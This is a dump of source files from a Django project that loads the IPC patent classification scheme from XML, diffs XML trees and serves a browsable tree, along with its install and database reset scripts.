"content_id": "b70de5bf306e9fe00af6fc8537fdf781b818de1c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 963,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 35,
"path": "/project/app_operations/management/commands/diff_trees.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.core.management.base import BaseCommand, CommandError\nfrom optparse import make_option\nfrom _diff_trees import diff_trees\n\nclass Command(BaseCommand):\n args = ''\n help = 'Diff two trees'\n\n option_list = BaseCommand.option_list + (\n make_option(\n '--xml',\n action='store_true',\n dest='xml',\n default=False,\n help='Read XML file directly from disk instead from ZIP archive'\n ),\n )\n\n def handle(self, *args, **options):\n doctype_name = args[0]\n dataset_version1 = args[1]\n dataset_version2 = args[2]\n lang = args[3]\n\n file_release1 = ''\n file_release2 = ''\n if len(args) == 6:\n file_release1 = args[4]\n file_release2 = args[5]\n\n diff_trees(\n doctype_name, dataset_version1, dataset_version2, lang,\n file_release1, file_release2,\n xml=options['xml']\n )\n"
},
{
"alpha_fraction": 0.7379032373428345,
"alphanum_fraction": 0.7452957034111023,
"avg_line_length": 25.553571701049805,
"blob_id": "1be9fe2daa5502a2e4e9b904b2162d936cbc7601",
"content_id": "9dbf7bc34975d31f66f7b843df24e859d7dfbbbf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 1488,
"license_type": "no_license",
"max_line_length": 94,
"num_lines": 56,
"path": "/bin/install",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/env bash\n\n# Fail fast and fail hard.\nset -eo pipefail\n\nBIN_DIR=$(cd $(dirname $0); pwd) # absolute path\nROOT_DIR=$(dirname $BIN_DIR)\n\nHOSTNAME=`hostname`\nVENV_DIR=venv\nPYTHON_EXE=python2.6\nAPP_NAME=tree\nAPP_DIR=/data/tree\n\necho \"Installing compilation material\"\nyum -y install gcc libxml2-devel libxslt-devel \\\n python-devel mysql-devel httpd-devel\n\necho \"Creating mysql database\"\nmysql -u root -p <<EOF\nDROP DATABASE IF EXISTS tree;\nCREATE DATABASE tree CHARSET utf8 COLLATE utf8_bin;\nGRANT ALL PRIVILEGES ON tree.* to 'tree'@'localhost' IDENTIFIED BY 'tree';\nEOF\n\n/sbin/chkconfig --level 2345 mysqld on\n/etc/init.d/mysqld start\n\npushd $ROOT_DIR > /dev/null\n\nmkdir -p $VENV_DIR\n\nVENV_OPTIONS=\"-p $(which $PYTHON_EXE) --never-download --distribute --no-site-packages\"\n\nunzip bin/dist/virtualenv.zip -d bin/dist\n\npython bin/dist/virtualenv-master/virtualenv.py $VENV_OPTIONS --prompt=\"($APP_NAME)\" $VENV_DIR\n\n$VENV_DIR/bin/pip install --no-index --find-links bin/dist -r bin/requirements.txt\n\necho \"Removing compilation material\"\nyum -y remove gcc libxml2-devel libxslt-devel \\\n python-devel mysql-devel httpd-devel\n\necho \"Setting up httpd\"\ncat > /etc/httpd/conf.d/wsgi-tree.conf <<EOF\nInclude $APP_DIR/httpd.conf\nEOF\n\n$VENV_DIR/bin/python project/manage.py migrate --noinput\n$VENV_DIR/bin/python project/manage.py createsuperuser --username=tree [email protected]\n$VENV_DIR/bin/python project/manage.py collectstatic --noinput\n\nservice httpd restart\n\npopd > /dev/null\n\n"
},
{
"alpha_fraction": 0.5270270109176636,
"alphanum_fraction": 0.699999988079071,
"avg_line_length": 16.619047164916992,
"blob_id": "41afa10008e00794ccb0e6647e106757d18dcc15",
"content_id": "7d4aa0a566522813a852fb16ec97ceab581d4d0b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 370,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 21,
"path": "/requirements.txt",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "Django==1.8.6\ndj-database-url==0.3.0\ndj-static==0.0.6\ndjango-toolbelt==0.0.1\ngunicorn==19.0.0\nstatic3==0.5.1\npsycopg2==2.5.3\nMarkdown==2.4\nPygments==1.6\n#SPARQLWrapper==1.5.2\nargparse==1.2.1\ndjango-filter==0.7\ndjango-mptt==0.7.4\ndjango-mptt-admin==0.3.0\ndjangorestframework==3.0.2\nhtml5lib==0.95\nisodate==0.4.9\nlxml==3.4.1\npyparsing==2.0.1\n#rdflib==4.1.0\nwsgiref==0.1.2\n"
},
{
"alpha_fraction": 0.5410826206207275,
"alphanum_fraction": 0.5474867224693298,
"avg_line_length": 29.538745880126953,
"blob_id": "c081deecd673468d00169ec14348569c2d2e83df",
"content_id": "13afb84013744654c45bc48e30dff576fa88076b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 8276,
"license_type": "no_license",
"max_line_length": 123,
"num_lines": 271,
"path": "/project/app_operations/management/commands/_diff_trees.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "import os\nimport time\nimport zipfile\nimport time\nimport copy\nfrom hashlib import md5\n\nfrom lxml import etree\n\nfrom django.conf import settings\n\n\ndef log(msg):\n print '({}) {}'.format(time.strftime('%H:%M:%S'), msg)\n\ndef DEBUG(msgs):\n print \"\\n<<<<<\\n{}\\n>>>>>\\n\".format('\\n'.join(msgs))\n\n\nclass DiffTrees:\n def __init__(self, doctype_name, dataset_version1, dataset_version2, lang, file_release1, file_release2, xml):\n self.dt_conf = settings.DOCTYPES[doctype_name]\n self.xml = xml\n self.lang = lang\n self.diffs = {}\n\n self.parser = etree.XMLParser(\n remove_blank_text=True,\n ns_clean=True,\n remove_comments=True\n )\n\n self.NSMAP = {}\n self.NSpfx = ''\n self.NS = ''\n\n old_root = self._get_tree_root(dataset_version1, file_release1, skip_attrs=self.dt_conf['skip_attrs'])\n self.old_root_ET = etree.ElementTree(old_root)\n\n new_root = self._get_tree_root(dataset_version2, file_release2, skip_attrs=self.dt_conf['skip_attrs'])\n self.new_root_ET = etree.ElementTree(new_root)\n\n self.diff(old_root, new_root)\n\n def tag(self, tagname):\n # Replaces URI prefix by local prefix within qualified tag name\n # e.g. {uri}tag => pfx:tag\n return tagname.replace(self.NS, self.NSpfx)\n\n def diff_record(self, node, diff_type, old=False):\n if old:\n xpath = self.old_root_ET.getpath(node)\n else:\n xpath = self.new_root_ET.getpath(node)\n\n if xpath in self.diffs:\n self.diffs[xpath].add(diff_type)\n else:\n self.diffs[xpath] = set([diff_type])\n\n def _cleanup(self, root, skip_attrs=[]):\n '''\n Remove unwanted (as defined in settings.DOCTYPES)\n nodes and/or attributes\n '''\n\n for r in self.dt_conf['remove_elts']:\n n = r.split(':')\n name = n[-1]\n for e in root.xpath('//*[local-name() = \"%s\"]' % name):\n e.getparent().remove(e)\n\n for r in self.dt_conf['remove_attrs'] + skip_attrs:\n n = r.split(':')\n name = n[-1]\n qname = n[0]\n if len(n) > 1:\n qname = '{%s}%s' % (self.NSMAP[n[0]], n[1])\n\n for e in root.xpath('//*[@*[local-name() = \"%s\"]]' % name):\n e.attrib.pop(qname)\n\n def _get_tree_root(self, dataset_version, file_release, skip_attrs=[]):\n '''\n Returns the root node of a (compressed) XML file.\n '''\n\n data_path = os.path.join(\n settings.DATA_DIR,\n self.dt_conf['data_path'].substitute(version=dataset_version)\n )\n\n xml_name = self.dt_conf['xml_name'].substitute(\n version=dataset_version,\n lang=self.lang,\n release=file_release\n )\n\n if self.xml:\n file_obj = open(os.path.join(data_path, xml_name))\n else:\n zip_name = self.dt_conf['zip_name'].substitute(\n version=dataset_version,\n release=file_release\n )\n zip_file = zipfile.ZipFile(os.path.join(data_path, zip_name))\n file_obj = zip_file.open(xml_name)\n\n tree = etree.parse(file_obj, self.parser)\n root = tree.getroot()\n\n if root.prefix is not None:\n self.NSMAP = root.nsmap\n self.NSpfx = root.prefix + \":\"\n self.NS = \"{%s}\" % self.NSMAP[root.prefix]\n\n if self.tag(root.tag) != self.dt_conf['root']:\n root = root.find('.//' + self.dt_conf['root'], namespaces=self.NSMAP)\n\n for att in root.keys():\n root.attrib.pop(att)\n self._cleanup(root, skip_attrs)\n\n return root\n\n def _get_attrs_str(self, node):\n '''\n Returns a String made of the node attribute\n name/value pairs sorted by name\n '''\n\n return ' '.join(['='.join([k, node.get(k)]) for k in sorted(node.keys())])\n\n def _get_node_FP(self, node):\n '''\n Returns a String made of MD5 hex digest of a node canonized subtree\n '''\n\n return md5(etree.tostring(node, method=\"c14n\")).hexdigest()\n\n def _get_children_FPs(self, node, root_ET=None, relative=False):\n '''\n Returns a Dict:\n - Key: MD5 fingerprint of a child node subtree\n - Value: absolute or relative xpath of the child node\n '''\n\n if not relative and root_ET is None:\n log('### ERROR: root node ET must be specified to compute absolute path.')\n return\n\n if relative:\n root_ET = etree.ElementTree(node)\n\n return dict([(\n self._get_node_FP(c),\n c\n #root_ET.getpath(c)\n ) for c in node.iterchildren()])\n\n def _get_children_N2_not_in_N1(self, node1, node2, node1_children_FPs, node2_children_FPs):\n '''\n Returns the List of xpath of node2 children which fingerprints\n are not in the list of node1 children fingerprints.\n '''\n\n node2_diff_children = [\n node2_children_FPs[fp] for fp in set(\n node2_children_FPs.keys()\n ).difference(\n node1_children_FPs.keys()\n )\n ]\n\n return node2_diff_children\n\n def diff(self, old, new):\n '''\n Compare two elementTree objects, recursively starting from root node.\n '''\n\n old_FP = self._get_node_FP(old)\n new_FP = self._get_node_FP(new)\n\n # Check node fingerprints\n if new_FP == old_FP:\n # Nodes are indentical then skip to next pair\n return\n\n old_path = self.old_root_ET.getpath(old)\n new_path = self.new_root_ET.getpath(new)\n\n if new.tag != old.tag:\n self.diff_record(new, 'type')\n\n DEBUG([new_path, old_path])\n\n # No need to compare descendants if nodes have different contents model\n return\n\n old_attrs = self._get_attrs_str(old)\n new_attrs = self._get_attrs_str(new)\n if old_attrs != new_attrs:\n self.diff_record(new, 'attrs')\n\n DEBUG([new_path, new_attrs, old_attrs])\n\n # No need to compare descendants if nodes have different attribute values\n return\n\n if old.tag in self.dt_conf['mixed_elts']:\n self.diff_record(new, 'txt')\n\n DEBUG([\n new_path,\n etree.tostring(old, method=\"c14n\"),\n etree.tostring(new, method=\"c14n\")\n ])\n\n # No need to compare descendants if nodes have mixed contents\n return\n\n print new_path\n\n relative_path=True\n\n old_children_FPs = self._get_children_FPs(old, self.old_root_ET, relative_path)\n new_children_FPs = self._get_children_FPs(new, self.new_root_ET, relative_path)\n\n # Get children deleted from old tree\n del_children = self._get_children_N2_not_in_N1(\n new, old,\n new_children_FPs, old_children_FPs\n )\n\n # Get children inserted in new tree\n ins_children = self._get_children_N2_not_in_N1(\n old, new,\n old_children_FPs, new_children_FPs\n )\n\n # Store xpath of different nodes for future comparison\n for i in ins_children:\n self.diff_record(i, 'ins')\n\n for d in del_children:\n self.diff_record(d, 'del', old=True)\n\n # remove identical node from future comparison\n for child in old:\n if child not in del_children:\n old.remove(child)\n\n for child in new:\n if child not in ins_children:\n new.remove(child)\n\n if len(new) != len(old):\n DEBUG([\n new_path,\n str(len(old)),\n str(len(new))\n ])\n\n for nodes in zip(old.iterchildren(), new.iterchildren()):\n self.diff(nodes[0], nodes[1])\n\ndef diff_trees(doctype_name, dataset_version1, dataset_version2, lang='en', file_release1='', file_release2='', xml=False):\n log('Diffing %s and %s...' % (dataset_version1, dataset_version2))\n DiffTrees(doctype_name, dataset_version1, dataset_version2, lang, file_release1, file_release2, xml)\n log('Done.')\n"
},
{
"alpha_fraction": 0.3928571343421936,
"alphanum_fraction": 0.6428571343421936,
"avg_line_length": 13,
"blob_id": "4a33398a482256d9dcc34f7dfb3776c4d73913fa",
"content_id": "1b42ccbcf7f86354432c748b41e4096d70302223",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Text",
"length_bytes": 28,
"license_type": "no_license",
"max_line_length": 14,
"num_lines": 2,
"path": "/bin/requirements_dev.txt",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "ipdb==0.13.9\nipython==8.0.1\n"
},
{
"alpha_fraction": 0.7407181859016418,
"alphanum_fraction": 0.7419354915618896,
"avg_line_length": 23.507463455200195,
"blob_id": "8926665f1f8a78924609740707d4d77f8f9937dc",
"content_id": "15ee32d04447c2a24045b48e5fc63bcaff7b12ce",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1643,
"license_type": "no_license",
"max_line_length": 125,
"num_lines": 67,
"path": "/project/app_tree/admin.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.contrib import admin\nfrom django_mptt_admin.admin import DjangoMpttAdmin\n\nfrom models import Dataset, Doctype, ElementType, AttributeType\nfrom models import Element, Attribute, Text, Translation\nfrom models import TreeNode, Diff\n\n\nclass DatasetAdmin(admin.ModelAdmin):\n list_display = ('name', )\n\nadmin.site.register(Dataset, DatasetAdmin)\n\n\nclass DoctypeAdmin(admin.ModelAdmin):\n list_display = ('name', )\n\nadmin.site.register(Doctype, DoctypeAdmin)\n\n\nclass ElementTypeAdmin(admin.ModelAdmin):\n list_display = ('name', 'is_main', 'is_mixed', 'doctype')\n\nadmin.site.register(ElementType, ElementTypeAdmin)\n\n\nclass AttributeTypeAdmin(admin.ModelAdmin):\n list_display = ('name', 'is_main', 'skip', 'doctype')\n\nadmin.site.register(AttributeType, AttributeTypeAdmin)\n\n\nclass TreeNodeAdmin(DjangoMpttAdmin):\n list_display = ('element', 'dataset', 'is_diff_only')\n list_filter = ('is_diff_only', 'dataset')\n\nadmin.site.register(TreeNode, TreeNodeAdmin)\n\n\nclass ElementAdmin(admin.ModelAdmin):\n pass\n\nadmin.site.register(Element, ElementAdmin)\n\n\nclass AttributeAdmin(admin.ModelAdmin):\n list_display = ('value',)\n\nadmin.site.register(Attribute, AttributeAdmin)\n\n\nclass TranslationAdmin(admin.ModelAdmin):\n list_display = ('lang', 'contents')\n\nadmin.site.register(Translation, TranslationAdmin)\n\n\nclass TextAdmin(admin.ModelAdmin):\n list_display = ('name', 'contents')\n\nadmin.site.register(Text, TextAdmin)\n\n\nclass DiffAdmin(admin.ModelAdmin):\n list_display = ('treenode1', 'treenode2', 'is_type_diff', 'is_texts_diff', 'is_attrs_diff', 'is_del_diff', 'is_ins_diff')\n\nadmin.site.register(Diff, DiffAdmin)\n\n"
},
{
"alpha_fraction": 0.7853881120681763,
"alphanum_fraction": 0.7899543642997742,
"avg_line_length": 53.75,
"blob_id": "e7a5b0a193f51b8ea0af1059d6fa18b72f5a6334",
"content_id": "430640740347a582dcfb33278be953d17e8cf950",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 219,
"license_type": "no_license",
"max_line_length": 90,
"num_lines": 4,
"path": "/reset_sqlite_db.sh",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "rm project/db.sqlite3\n./venv/bin/python project/manage.py syncdb --noinput\n./venv/bin/python project/python manage.py createsuperuser --username=tree [email protected]\n./venv/bin/python project/python manage.py runserver\n"
},
{
"alpha_fraction": 0.7020057439804077,
"alphanum_fraction": 0.7020057439804077,
"avg_line_length": 20.8125,
"blob_id": "b51e6d18bd24dd38c11f13ff4e9b92f1ac4b5472",
"content_id": "8566efef8703fb12faab15e96f14b9fe04ba46fb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 349,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 16,
"path": "/project/app_scheme/serializers.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from app_scheme.models import Concept\nfrom rest_framework import serializers\n\n\nclass TopConceptSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Concept\n fields = ('definition', 'narrower')\n\n\nclass ConceptSerializer(serializers.ModelSerializer):\n\n class Meta:\n model = Concept\n fields = ('narrower',)\n"
},
{
"alpha_fraction": 0.47690480947494507,
"alphanum_fraction": 0.4815090000629425,
"avg_line_length": 33.00505065917969,
"blob_id": "d10b05b5c8680b789c14dd45e9d95c33bff96b24",
"content_id": "826e6b1b05892c04c877fdc82af4d55e2ff20cf5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6733,
"license_type": "no_license",
"max_line_length": 115,
"num_lines": 198,
"path": "/project/app_operations/management/commands/_ipc_load.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "import os\nfrom lxml import etree\nfrom django.conf import settings\nfrom app_scheme.models import Concept, Definition, Reference\n\n\ndef load(version):\n scheme = IpcScheme(version)\n scheme.db_load()\n\n\nclass IpcEntry:\n def __init__(self, entry, tree):\n self.entry = entry\n self.tree = tree\n self.kind = entry.get('kind')\n self.id = None\n self.label = None\n self.titles = None\n self.children = None\n self.depth = settings.DEPTHS.index(self.kind) + 1\n\n if self.kind in ['t', 'g']:\n # Assign range based id to SubSections and Guidance Headings \n self.id = '%s-%s' % (\n entry.get('symbol'),\n entry.get('endSymbol', 'last')\n )\n self.label = self.decode_symbol(entry.get('symbol'))\n if entry.get('endSymbol') is not None:\n self.label += ' - ' + self.decode_symbol(entry.get('endSymbol'))\n else:\n self.id = entry.get('symbol')\n self.label = self.decode_symbol(self.id)\n\n self.get_titles()\n self.get_children()\n\n def decode_group(self, symbol):\n f = float('.'.join([symbol[4:8], symbol[8:]]))\n if len(str(f).split('.')[1]) == 1:\n f = '%.2F' % f\n else:\n f = str(f)\n return f.replace('.', '/')\n\n def decode_symbol(self, symbol):\n if len(symbol) < 5:\n return symbol\n return '%s %s' % (symbol[:4], self.decode_group(symbol))\n\n def get_ref(self, symbol):\n return '<a href=\"#%s\">%s</a>' % (symbol, self.decode_symbol(symbol))\n\n def get_texts(self, text):\n texts = ''\n\n if text.tag == 'mref':\n texts += '%s - %s' % (self.get_ref(text.get('ref')), self.get_ref(text.get('endRef')))\n elif text.tag == \"sref\":\n texts += self.get_ref(text.get('ref'))\n elif text.tag == \"emdash\":\n texts += '-'\n elif text.tag not in ['entryReference', 'text']:\n print etree.tostring(text)\n\n if text.text is not None:\n texts += text.text\n\n for t in text:\n texts += self.get_texts(t)\n\n if text.tail is not None:\n texts += text.tail.rstrip()\n\n return texts\n\n def get_titles(self):\n titleparts = self.entry.xpath('./textBody/title/titlePart')\n if len(titleparts):\n self.titles = []\n for tp in titleparts:\n title = [self.get_texts(tp[0])]\n if len(tp) > 1:\n title.append([self.get_texts(ref) for ref in tp[1:]])\n else:\n title.append([])\n self.titles.append(title)\n\n # def get_xml_titles(self):\n # title_list = ''\n # for lang, titles in self.items.iteritems():\n # title = '<span class=\"h%d\" xml:lang=\"%s\">' % (self.depth, lang)\n # subtitles = []\n # for title in titles:\n # subtitle = '<span class=\"title\">%s</span>' % title[0]\n # if len(title[1]):\n # subtitle += '<span class=\"refs\"> ('\n # subtitle += '; '.join(title[1])\n # subtitle += ')</span>'\n # subtitles.append(subtitle)\n # title += '; '.join(subtitles)\n # title += '</span>'\n # title_list += title\n # return title_list\n\n def _build_ranges(self, rangekind, children):\n r = None\n prev_symbol = None\n for c in children:\n if c.get('kind') == rangekind:\n if r is not None and r.get('endSymbol') is None:\n r.set('endSymbol', prev_symbol)\n r = c\n elif r is None:\n r = etree.Element('ipcEntry', kind=rangekind, symbol=c.get('symbol'))\n self.entry.append(r)\n r.append(c)\n else:\n r.append(c)\n if c.get('symbol') == r.get('endSymbol'):\n r = None\n prev_symbol = c.get('symbol')\n\n def get_children(self):\n #if parent.get(\"symbol\") == 'A01N0061020000': import pdb; pdb.set_trace()\n #TODO: process 'n'\n if self.kind == 's':\n self._build_ranges('t', self.entry.xpath('./ipcEntry[@kind=\"c\" or @kind=\"t\"]'))\n self.children = self.entry.xpath('./ipcEntry[@kind=\"t\"]')\n\n elif self.kind == 'u':\n self._build_ranges('g', self.entry.xpath('./ipcEntry[@kind=\"m\" or @kind=\"g\"]'))\n self.children = self.entry.xpath('./ipcEntry[@kind=\"g\"]')\n\n else:\n self.children = self.entry.xpath('./ipcEntry[@kind!=\"t\" and @kind!=\"n\" and @kind!=\"g\" and @kind!=\"i\"]')\n\n\nclass IpcScheme:\n def __init__(self, version):\n self.version = version\n self.tree = None\n self.sections = None\n\n def get_tree(self):\n if self.tree is None:\n self.tree = etree.parse(os.path.join(settings.DATA_DIR, 'ipcr_scheme_%s.xml' % self.version))\n #import ipdb; ipdb.set_trace()\n\n def get_entry(self, entry):\n return IpcEntry(entry, self.tree)\n\n def db_load_concept(self, entry, lang, parent=None):\n cObj, created = Concept.objects.get_or_create(\n notation=entry.id,\n label=entry.label,\n depth=entry.depth,\n )\n cObj.save()\n\n if created and parent is not None:\n cObj.parent = parent\n\n if entry.titles is not None:\n for title in entry.titles:\n dObj = Definition(\n concept=cObj,\n text=title[0],\n lang=lang\n )\n dObj.save()\n for ref in title[1]:\n rObj = Reference(\n definition=dObj,\n text=ref,\n lang=lang\n )\n rObj.save()\n dObj.save()\n cObj.save()\n return cObj\n\n def recurse_entries(self, entry, lang, parent):\n if len(entry.children):\n for child in entry.children:\n e = self.get_entry(child)\n cObj = self.db_load_concept(e, lang, parent)\n self.recurse_entries(e, lang, cObj)\n\n def db_load(self):\n self.get_tree()\n for lang in ['en', 'fr']:\n sections = self.tree.xpath('//' + lang)[0][0]\n for section in sections:\n entry = self.get_entry(section)\n sObj = self.db_load_concept(entry, lang)\n self.recurse_entries(entry, lang, sObj)\n"
},
{
"alpha_fraction": 0.6875559687614441,
"alphanum_fraction": 0.6947180032730103,
"avg_line_length": 25.595237731933594,
"blob_id": "036652a1eee07a829954e223a14b257bd473b387",
"content_id": "0c2708e0e5a131a4e51c9dda5f69e6d4ebe698ca",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1117,
"license_type": "no_license",
"max_line_length": 83,
"num_lines": 42,
"path": "/project/app_scheme/models.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.db import models\n#from django.conf import settings\nfrom mptt.models import MPTTModel, TreeForeignKey\n\n# IPC/SKOS mapping\n# 18 chr symbol or range = notation\n# pretty symbol or range = prefLabel\n# parent (broader)\n# children = narrower\n# kind = depth\n# titles = definition\n\n\nclass Concept(MPTTModel):\n notation = models.CharField(max_length=39, unique=True)\n label = models.CharField(max_length=39)\n parent = TreeForeignKey('self', null=True, blank=True, related_name='narrower')\n depth = models.IntegerField()\n\n def __unicode__(self):\n return self.notation\n\n class MPTTMeta:\n order_insertion_by = ['notation']\n\n\nclass Definition(models.Model):\n concept = models.ForeignKey('Concept', related_name='definition')\n lang = models.CharField(max_length=2)\n text = models.TextField()\n\n def __unicode__(self):\n return self.text\n\n\nclass Reference(models.Model):\n definition = models.ForeignKey('Definition', related_name='references')\n lang = models.CharField(max_length=2)\n text = models.TextField()\n\n def __unicode__(self):\n return self.text\n"
},
{
"alpha_fraction": 0.8308823704719543,
"alphanum_fraction": 0.8308823704719543,
"avg_line_length": 44.33333206176758,
"blob_id": "c68f236de9f4cf16f147892482b2f31f2efefd2a",
"content_id": "4d207321a6962a5476d031b63df6700984f2a2df",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 136,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 3,
"path": "/README.md",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "Classification framework based on Django.\n\nIPC classification Scheme tree demo: http://classifactory.herokuapp.com/tree/elements/fancy/\n"
},
{
"alpha_fraction": 0.6499999761581421,
"alphanum_fraction": 0.6571428775787354,
"avg_line_length": 34,
"blob_id": "113d66c56ff2547cafef70fcbf75e4167958adcd",
"content_id": "e713155055257c18a7c7820048f73b019ae1220b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 280,
"license_type": "no_license",
"max_line_length": 69,
"num_lines": 8,
"path": "/project/app_scheme/urls.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.conf.urls import patterns, url\nfrom app_scheme import views\n\nurlpatterns = patterns('',\n url(r'^$', views.home, name='home'),\n url(r'^topconcepts/$', views.topconcepts, name='topconcepts'),\n url(r'^concept/(?P<pk>[0-9]+)/$', views.concept, name='concept'),\n)\n"
},
{
"alpha_fraction": 0.6245954632759094,
"alphanum_fraction": 0.6245954632759094,
"avg_line_length": 21.14285659790039,
"blob_id": "e15a5eb5c97e799676551c207e493c45906381ed",
"content_id": "c4905488fb3004de1866320dc1f5136688a84763",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 309,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 14,
"path": "/project/app_operations/decorators.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.db import connection\nfrom functools import wraps\n\n\ndef with_connection_usable(func):\n @wraps(func)\n def decorator(*args, **kwargs):\n try:\n connection.connection.ping()\n except:\n connection.close()\n return func(*args, **kwargs)\n\n return decorator"
},
{
"alpha_fraction": 0.5268688797950745,
"alphanum_fraction": 0.5287795662879944,
"avg_line_length": 32.49599838256836,
"blob_id": "a60f5d6a8edee206550a22aedcbd22e5f5bacef2",
"content_id": "12d3505551c73a102336af7ffd0972712506749a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4187,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 125,
"path": "/project/app_scheme/views.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.renderers import JSONRenderer\n\nfrom app_scheme.models import Concept\n#from app_scheme.serializers import TopConceptSerializer, ConceptSerializer\n\n\nclass JSONResponse(HttpResponse):\n \"\"\"\n An HttpResponse that renders its content into JSON.\n \"\"\"\n def __init__(self, data, **kwargs):\n content = JSONRenderer().render(data)\n kwargs['content_type'] = 'application/json'\n super(JSONResponse, self).__init__(content, **kwargs)\n\n\ndef _get_titles_flat(concept, lang):\n return '; '.join([d.text for d in concept.definition.filter(lang=lang)])\n\n\ndef _get_definition_flat(concept, lang):\n definitions = []\n for d in concept.definition.filter(lang=lang):\n definition = d.text\n if d.references.count():\n definition += ' (' + '; '.join([r.text for r in d.references.filter(lang=lang)]) + ')'\n definitions.append(definition)\n return '; '.join(definitions)\n\n\ndef _get_definition(concept, lang):\n definitions = []\n for d in concept.definition.filter(lang=lang):\n definition = {\n 'title': d.text,\n 'addClass': 'ws-wrap',\n 'noLink': True,\n 'expand': True\n }\n if d.references.count():\n definition['children'] = []\n for r in d.references.filter(lang=lang):\n definition['children'].append({\n 'title': r.text,\n 'addClass': 'ws-wrap',\n 'noLink': True\n })\n definitions.append(definition)\n return definitions\n\n\ndef home(request):\n return render(request, 'index.html')\n\n\n@csrf_exempt\ndef topconcepts(request):\n \"\"\"\n List all topconcepts.\n \"\"\"\n if request.method == 'GET':\n lang = request.GET['lang']\n topconcepts = Concept.objects.filter(depth=1)\n dynatree = {}\n for t in topconcepts:\n dynatree['isFolder'] = True\n dynatree['title'] = _get_titles_flat(t, lang)\n children = []\n for c in t.narrower.all():\n children.append({\n 'isLazy': True,\n 'isFolder': True,\n 'key': c.id,\n 'title': _get_titles_flat(c, lang)\n })\n dynatree['children'] = children\n return JSONResponse(dynatree)\n\n\n@csrf_exempt\ndef concept(request, pk):\n \"\"\"\n Retrieve an concept.\n \"\"\"\n try:\n concept = Concept.objects.get(pk=pk)\n except Concept.DoesNotExist:\n return HttpResponse(status=404)\n\n if request.method == 'GET':\n lang = request.GET['lang']\n dynatree = []\n if concept.depth not in [2, 5] and concept.definition.count():\n # Not a subsection, guidance heading nor group range without heading\n #dynatree.append({'title': _get_titles_flat(concept), 'addClass': 'ws-wrap', 'noLink': True})\n #dynatree.append({'title': _get_definition_flat(concept), 'addClass': 'ws-wrap', 'noLink': True})\n dynatree.extend(_get_definition(concept, lang))\n for c in concept.narrower.all():\n if c.depth == 5 and not c.definition.count():\n # Avoid group range without heading\n for cc in c.narrower.all():\n dynatree.append({\n 'key': cc.id,\n 'isLazy': True,\n 'isFolder': True,\n 'title': cc.label\n })\n else:\n child = {\n 'key': c.id,\n 'isLazy': True,\n 'isFolder': True\n }\n if c.depth == 5:\n # Guidance heading\n child['title'] = _get_titles_flat(c, lang)\n child['addClass'] = 'ws-wrap'\n child['noLink'] = True\n else:\n child['title'] = c.label #+ ' ' + _get_titles_flat(c)\n dynatree.append(child)\n return JSONResponse(dynatree)\n"
},
{
"alpha_fraction": 0.6126589775085449,
"alphanum_fraction": 0.6178073883056641,
"avg_line_length": 29.859813690185547,
"blob_id": "3f87d2e27a2b493a6badf31f9057d0f5b36aba0e",
"content_id": "4b97c0e29a602d7536c2ab12215c23f6db1bdb28",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6604,
"license_type": "no_license",
"max_line_length": 98,
"num_lines": 214,
"path": "/project/app_tree/models.py",
"repo_name": "classifaddict/classifactory",
"src_encoding": "UTF-8",
